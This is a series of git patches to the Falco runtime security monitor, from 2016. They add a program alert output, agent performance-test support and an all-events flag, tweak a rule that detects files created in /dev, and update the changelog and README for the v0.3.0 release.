 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
 - rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
+  condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 

From d5dbe59d857552a75d412ef0c2216293f2268180 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Thu, 4 Aug 2016 15:50:30 -0700
Subject: [PATCH 14/17] Add ability to write output to a program

Add a new output type "program" that writes a formatted event to a
configurable program, using io.popen().

Each notification results in one invocation of the program.
---
 falco.yaml                        |  3 +++
 userspace/falco/configuration.cpp | 14 ++++++++++++++
 userspace/falco/lua/output.lua    | 18 +++++++++++++++++-
 3 files changed, 34 insertions(+), 1 deletion(-)

diff --git a/falco.yaml b/falco.yaml
index 3962f2c2..fae68e0b 100644
--- a/falco.yaml
+++ b/falco.yaml
@@ -23,3 +23,6 @@ file_output:
 stdout_output:
   enabled: true
 
+program_output:
+  enabled: false
+  program: mail -s "Falco Notification" someone@example.com
diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp
index 4727d0dd..8a71af46 100644
--- a/userspace/falco/configuration.cpp
+++ b/userspace/falco/configuration.cpp
@@ -54,6 +54,20 @@ void falco_configuration::init(string conf_filename, std::list<std::string> &cmd
 		m_outputs.push_back(syslog_output);
 	}
 
+	output_config program_output;
+	program_output.name = "program";
+	if (m_config->get_scalar<bool>("program_output", "enabled", false))
+	{
+		string program;
+		program = m_config->get_scalar<string>("program_output", "program", "");
+		if (program == string(""))
+		{
+			throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
+		}
+		program_output.options["program"] = program;
+		m_outputs.push_back(program_output);
+	}
+
 	if (m_outputs.size() == 0)
 	{
 		throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua
index 245f5cb4..d35a8340 100644
--- a/userspace/falco/lua/output.lua
+++ b/userspace/falco/lua/output.lua
@@ -27,7 +27,7 @@ function mod.file_validate(options)
 end
 
 function mod.file(evt, rule, level, format, options)
-   format = "%evt.time: "..levels[level+1].." "..format
+   format = "*%evt.time: "..levels[level+1].." "..format
    formatter = falco.formatter(format)
    msg = falco.format_event(evt, rule, levels[level+1], formatter)
 
@@ -43,6 +43,22 @@ function mod.syslog(evt, rule, level, format)
    falco.syslog(level, msg)
 end
 
+function mod.program(evt, rule, level, format, options)
+
+   format = "*%evt.time: "..levels[level+1].." "..format
+   formatter = falco.formatter(format)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
+
+   -- XXX Ideally we'd check that the program ran
+   -- successfully. However, the luajit we're using returns true even
+   -- when the shell can't run the program.
+
+   file = io.popen(options.program, "w")
+
+   file:write(msg, "\n")
+   file:close()
+end
+
 function mod.event(event, rule, level, format)
    for index,o in ipairs(outputs) do
       o.output(event, rule, level, format, o.config)

From f05bb2b3ec58da380734928e236eb59d87e64f6a Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Thu, 4 Aug 2016 16:03:07 -0700
Subject: [PATCH 15/17] Add ability to run agent for performance tests.

When the root directory contains the name 'agent', assume we're running
an agent and provide appropriate configuration and run the agent using
dragent.

You can make autodrop or falco configurable within the agent via
--agent-autodrop and --falco-agent.

Also include some other small changes like timestamping the json points.
---
 test/cpu_monitor.sh           |  2 +-
 test/run_performance_tests.sh | 85 ++++++++++++++++++++++++++++++++---
 2 files changed, 81 insertions(+), 6 deletions(-)

diff --git a/test/cpu_monitor.sh b/test/cpu_monitor.sh
index 594536d3..ff902b2d 100644
--- a/test/cpu_monitor.sh
+++ b/test/cpu_monitor.sh
@@ -6,4 +6,4 @@ VARIANT=$3
 RESULTS_FILE=$4
 CPU_INTERVAL=$5
 
-top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
diff --git a/test/run_performance_tests.sh b/test/run_performance_tests.sh
index 4bdf2bc3..28ddde4c 100644
--- a/test/run_performance_tests.sh
+++ b/test/run_performance_tests.sh
@@ -41,6 +41,61 @@ function run_sysdig_on() {
     time_cmd "$cmd" "$file"
 }
 
+function write_agent_config() {
+    cat > $ROOT/userspace/dragent/dragent.yaml <<EOF
+customerid: XXX
+app_checks_enabled: false
+log:
+  file_priority: info
+  console_priority: info
+  event_priority: info
+jmx:
+  enabled: false
+statsd:
+  enabled: false
+collector: collector-staging.sysdigcloud.com
+EOF
+
+    if [ $FALCO_AGENT == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: true
+  rules_filename: /etc/falco_rules.yaml
+  sampling_multiplier: 0
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: false
+EOF
+    fi
+
+    if [ $AGENT_AUTODROP == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: true
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: false
+EOF
+    fi
+
+    cat $ROOT/userspace/dragent/dragent.yaml
+}
+
+function run_agent_on() {
+
+    file="$1"
+
+    write_agent_config
+
+    cmd="$ROOT/userspace/dragent/dragent -r $file"
+
+    time_cmd "$cmd" "$file"
+}
+
 function run_trace() {
 
     if [ ! -e $TRACEDIR ]; then
@@ -58,8 +113,10 @@ function run_trace() {
     for file in ${files[@]}; do
 	if [[ $ROOT == *"falco"* ]]; then
 	    run_falco_on "$file"
-	else
+	elif [[ $ROOT == *"sysdig"* ]]; then
 	    run_sysdig_on "$file"
+	else
+	    run_agent_on "$file"
 	fi
     done
 }
@@ -74,19 +131,31 @@ function start_monitor_cpu_usage() {
 
 function start_subject_prog() {
 
-    echo "   starting falco/sysdig program"
+    echo "   starting falco/sysdig/agent program"
     # Do a blocking sudo command now just to ensure we have a password
     sudo bash -c ""
 
     if [[ $ROOT == *"falco"* ]]; then
 	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
-    else
+    elif [[ $ROOT == *"sysdig"* ]]; then
 	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
+    else
+	write_agent_config
+	pushd $ROOT/userspace/dragent
+	sudo ./dragent > ./prog-output.txt 2>&1 &
+	popd
     fi
 
     SUDO_PID=$!
     sleep 5
-    SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+    if [[ $ROOT == *"agent"* ]]; then
+	# The agent spawns several processes all below a main monitor
+	# process. We want the child with the lowest pid.
+	MON_PID=`ps -h -o pid --ppid $SUDO_PID`
+	SUBJ_PID=`ps -h -o pid --ppid $MON_PID | head -1`
+    else
+	SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+    fi
 
     if [ -z $SUBJ_PID ]; then
 	echo "Could not find pid of subject program--did it start successfully? Not continuing."
@@ -252,9 +321,11 @@ usage() {
     echo "            if <test> is not 'all', it is passed directly to the command line of \"phoronix-test-suite run <test>\""
     echo "            if <test> is 'all', a built-in set of phoronix tests will be chosen and run"
     echo "   -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
+    echo "   -A/--agent-autodrop: When running an agent, whether or not to enable autodrop"
+    echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
 }
 
-OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir: -n $0 -- "$@"`
+OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
 
 if [ $? != 0 ]; then
     echo "Exiting" >&2
@@ -271,6 +342,8 @@ OUTPUT_FILE=`dirname $0`/program-output.txt
 TEST=trace:all
 TRACEDIR=/tmp/falco-perf-traces.$USER
 CPU_INTERVAL=10
+AGENT_AUTODROP=1
+FALCO_AGENT=1
 
 while true; do
     case "$1" in
@@ -281,6 +354,8 @@ while true; do
 	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
 	-t | --test ) TEST="$2"; shift 2;;
 	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
+	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
+	-F | --falco-agent ) FALCO_AGENT="$2"; shift 2;;
 	* ) break;;
     esac
 done

From 160ffe506b88edb66bc5a9910bd9b2df9b92aa33 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Thu, 4 Aug 2016 16:49:12 -0700
Subject: [PATCH 16/17] Add ability to run on all events.

New command line option 'A', related to the boolean all_events instructs
falco to run on all events, and not just those without the EF_DROP_FALCO
flag set.

When all_events is true, the checks for ignored events/syscalls are
skipped when loading rules.
---
 userspace/falco/falco.cpp           | 14 +++++++++++---
 userspace/falco/lua/compiler.lua    | 13 +++++++++++--
 userspace/falco/lua/rule_loader.lua |  3 ++-
 userspace/falco/rules.cpp           |  5 +++--
 userspace/falco/rules.h             |  2 +-
 5 files changed, 28 insertions(+), 9 deletions(-)

diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp
index 5c5b1442..d32301b6 100644
--- a/userspace/falco/falco.cpp
+++ b/userspace/falco/falco.cpp
@@ -56,6 +56,7 @@ static void usage()
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
 	   " -v                            Verbose output.\n"
+	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   "\n"
     );
 }
@@ -255,6 +256,7 @@ int falco_init(int argc, char **argv)
 	bool describe_all_rules = false;
 	string describe_rule = "";
 	bool verbose = false;
+	bool all_events = false;
 
 	static struct option long_options[] =
 	{
@@ -274,7 +276,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:dp:Ll:v",
+                                        "c:ho:e:r:dp:Ll:vA",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -306,6 +308,9 @@ int falco_init(int argc, char **argv)
 			case 'v':
 				verbose = true;
 				break;
+			case 'A':
+				all_events = true;
+				break;
 			case 'l':
 				describe_rule = optarg;
 				break;
@@ -402,8 +407,11 @@ int falco_init(int argc, char **argv)
 		falco_rules::init(ls);
 
 
-		inspector->set_drop_event_flags(EF_DROP_FALCO);
-		rules->load_rules(config.m_rules_filename, verbose);
+		if(!all_events)
+		{
+			inspector->set_drop_event_flags(EF_DROP_FALCO);
+		}
+		rules->load_rules(config.m_rules_filename, verbose, all_events);
 		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
 		if (describe_all_rules)
diff --git a/userspace/falco/lua/compiler.lua b/userspace/falco/lua/compiler.lua
index d51a048f..470b38b3 100644
--- a/userspace/falco/lua/compiler.lua
+++ b/userspace/falco/lua/compiler.lua
@@ -2,12 +2,17 @@ local parser = require("parser")
 local compiler = {}
 
 compiler.verbose = false
+compiler.all_events = false
 
 function compiler.set_verbose(verbose)
    compiler.verbose = verbose
    parser.set_verbose(verbose)
 end
 
+function compiler.set_all_events(all_events)
+   compiler.all_events = all_events
+end
+
 function map(f, arr)
    local res = {}
    for i,v in ipairs(arr) do
@@ -274,7 +279,9 @@ function compiler.compile_macro(line, list_defs)
 
    -- Traverse the ast looking for events/syscalls in the ignored
    -- syscalls table. If any are found, return an error.
-   check_for_ignored_syscalls_events(ast, 'macro', line)
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'macro', line)
+   end
 
    return ast
 end
@@ -297,7 +304,9 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
 
    -- Traverse the ast looking for events/syscalls in the ignored
    -- syscalls table. If any are found, return an error.
-   check_for_ignored_syscalls_events(ast, 'rule', source)
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'rule', source)
+   end
 
    if (ast.type == "Rule") then
       -- Line is a filter, so expand macro references
diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua
index cf5a439f..e15b85c0 100644
--- a/userspace/falco/lua/rule_loader.lua
+++ b/userspace/falco/lua/rule_loader.lua
@@ -117,9 +117,10 @@ end
 -- to a rule.
 local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(filename, rules_mgr, verbose)
+function load_rules(filename, rules_mgr, verbose, all_events)
 
    compiler.set_verbose(verbose)
+   compiler.set_all_events(all_events)
 
    local f = assert(io.open(filename, "r"))
    local s = f:read("*all")
diff --git a/userspace/falco/rules.cpp b/userspace/falco/rules.cpp
index 4bb78949..ce09ab16 100644
--- a/userspace/falco/rules.cpp
+++ b/userspace/falco/rules.cpp
@@ -88,7 +88,7 @@ void falco_rules::load_compiler(string lua_main_filename)
 	}
 }
 
-void falco_rules::load_rules(string rules_filename, bool verbose)
+void falco_rules::load_rules(string rules_filename, bool verbose, bool all_events)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
@@ -161,7 +161,8 @@ void falco_rules::load_rules(string rules_filename, bool verbose)
 		lua_pushstring(m_ls, rules_filename.c_str());
 		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));
-		if(lua_pcall(m_ls, 3, 0, 0) != 0)
+		lua_pushboolean(m_ls, (all_events ? 1 : 0));
+		if(lua_pcall(m_ls, 4, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);
diff --git a/userspace/falco/rules.h b/userspace/falco/rules.h
index 52cc7f4b..b049a827 100644
--- a/userspace/falco/rules.h
+++ b/userspace/falco/rules.h
@@ -10,7 +10,7 @@ class falco_rules
  public:
 	falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
 	~falco_rules();
-	void load_rules(string rules_filename, bool verbose);
+	void load_rules(string rules_filename, bool verbose, bool all_events);
 	void describe_rule(string *rule);
 	sinsp_filter* get_filter();
 

From 3d640c8a24e8028bb46d93b20bd3a82278998851 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Fri, 5 Aug 2016 11:15:46 -0700
Subject: [PATCH 17/17] Update docs for 0.3.0 release.

Fill in release notes for 0.3.0, with links to relevant PRs/github
issues.

Note that 0.3.0 is the latest release.

I also updated the wiki pages to reflect 0.3.0, but that's a separate
repo.
---
 CHANGELOG.md | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 README.md    |  8 +------
 2 files changed, 63 insertions(+), 7 deletions(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index af721f54..30e5a29b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,68 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.3.0
+
+Released 2016-08-05
+
+### Major Changes
+
+Significantly improved performance, involving changes in the falco and sysdig repositories:
+
+* Reordering a rule condition's operators to put likely-to-fail operators at the beginning and expensive operators at the end. [[#95](https://github.com/draios/falco/pull/95/)] [[#104](https://github.com/draios/falco/pull/104/)]
+* Adding the ability to perform x in (a, b, c, ...) as a single set membership test instead of individual comparisons between x=a, x=b, etc. [[#624](https://github.com/draios/sysdig/pull/624)] [[#98](https://github.com/draios/falco/pull/98/)]
+* Avoid unnecessary string manipulations. [[#625](https://github.com/draios/sysdig/pull/625)]
+* Using `startswith` as a string comparison operator when possible. [[#623](https://github.com/draios/sysdig/pull/623)]
+* Use `is_open_read`/`is_open_write` when possible instead of searching through open flags. [[#610](https://github.com/draios/sysdig/pull/610)]
+* Group rules by event type, which allows for an initial filter using event type before going through each rule's condition. [[#627](https://github.com/draios/sysdig/pull/627)] [[#101](https://github.com/draios/falco/pull/101/)]
+
+All of these changes result in dramatically reduced CPU usage. Here are some comparisons between 0.2.0 and 0.3.0 for the following workloads:
+
+* [Phoronix](http://www.phoronix-test-suite.com/)'s `pts/apache` and `pts/dbench` tests.
+* Sysdig Cloud Kubernetes Demo: Starts a kubernetes environment using docker with apache and wordpress instances + synthetic workloads.
+* [Juttle-engine examples](https://github.com/juttle/juttle-engine/blob/master/examples/README.md) : Several elasticsearch, node.js, logstash, mysql, postgres, influxdb instances run under docker-compose.
+
+| Workload | 0.2.0 CPU Usage | 0.3.0 CPU Usage |
+|----------| --------------- | ----------------|
+| pts/apache | 24% | 7% |
+| pts/dbench | 70% | 5% |
+| Kubernetes-Demo (Running) | 6% | 2% |
+| Kubernetes-Demo (During Teardown) | 15% | 3% |
+| Juttle-examples | 3% | 1% |
+
+As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:
+
+```
+Rule no_evttype: warning (no-evttype):
+proc.name=foo
+     did not contain any evt.type restriction, meaning it will run for all event types.
+     This has a significant performance penalty. Consider adding an evt.type restriction if possible.
+```
+
+If a rule has a `evt.type` operator in the later portion of the condition, falco will log a warning like:
+
+```
+Rule evttype_not_equals: warning (trailing-evttype):
+evt.type!=execve
+     does not have all evt.type restrictions at the beginning of the condition,
+     or uses a negative match (i.e. "not"/"!=") for some evt.type restriction.
+     This has a performance penalty, as the rule can not be limited to specific event types.
+     Consider moving all evt.type restrictions to the beginning of the rule and/or
+     replacing negative matches with positive matches if possible.
+```
+
+
+### Minor Changes
+
+* Several sets of rule cleanups to reduce false positives. [[#95](https://github.com/draios/falco/pull/95/)]
+* Add example of how falco can detect abuse of a badly designed REST API. [[#97](https://github.com/draios/falco/pull/97/)]
+* Add a new output type "program" that writes a formatted event to a configurable program. Each notification results in one invocation of the program. A common use of this output type would be to send an email for every falco notification. [[#105](https://github.com/draios/falco/pull/105/)] [[#99](https://github.com/draios/falco/issues/99)]
+* Add the ability to run falco on all events, including events that are flagged with `EF_DROP_FALCO`. (These events are high-volume, low-value events that are ignored by default to improve performance). [[#107](https://github.com/draios/falco/pull/107/)] [[#102](https://github.com/draios/falco/issues/102)]
+
+### Bug Fixes
+
+* Add third-party jq library now that sysdig requires it. [[#96](https://github.com/draios/falco/pull/96/)]
+
 ## v0.2.0
 
 Released 2016-06-09
diff --git a/README.md b/README.md
index a1e871b9..4661a0e8 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 
 ####Latest release
 
-**v0.2.0**
+**v0.3.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -21,12 +21,6 @@ Falco can detect and alert on any behavior that involves making Linux system cal
 - A non-device file is written to `/dev`
 - A standard system binary (like `ls`) makes an outbound network connection
 
-This is the initial falco release. Note that much of falco's code comes from
-[sysdig](https://github.com/draios/sysdig), so overall stability is very good
-for an early release. On the other hand performance is still a work in
-progress. On busy hosts and/or with large rule sets, you may see the current
-version of falco using high CPU. Expect big improvements in coming releases.
-
 Documentation
 ---
 [Visit the wiki] (https://github.com/draios/falco/wiki) for full documentation on falco.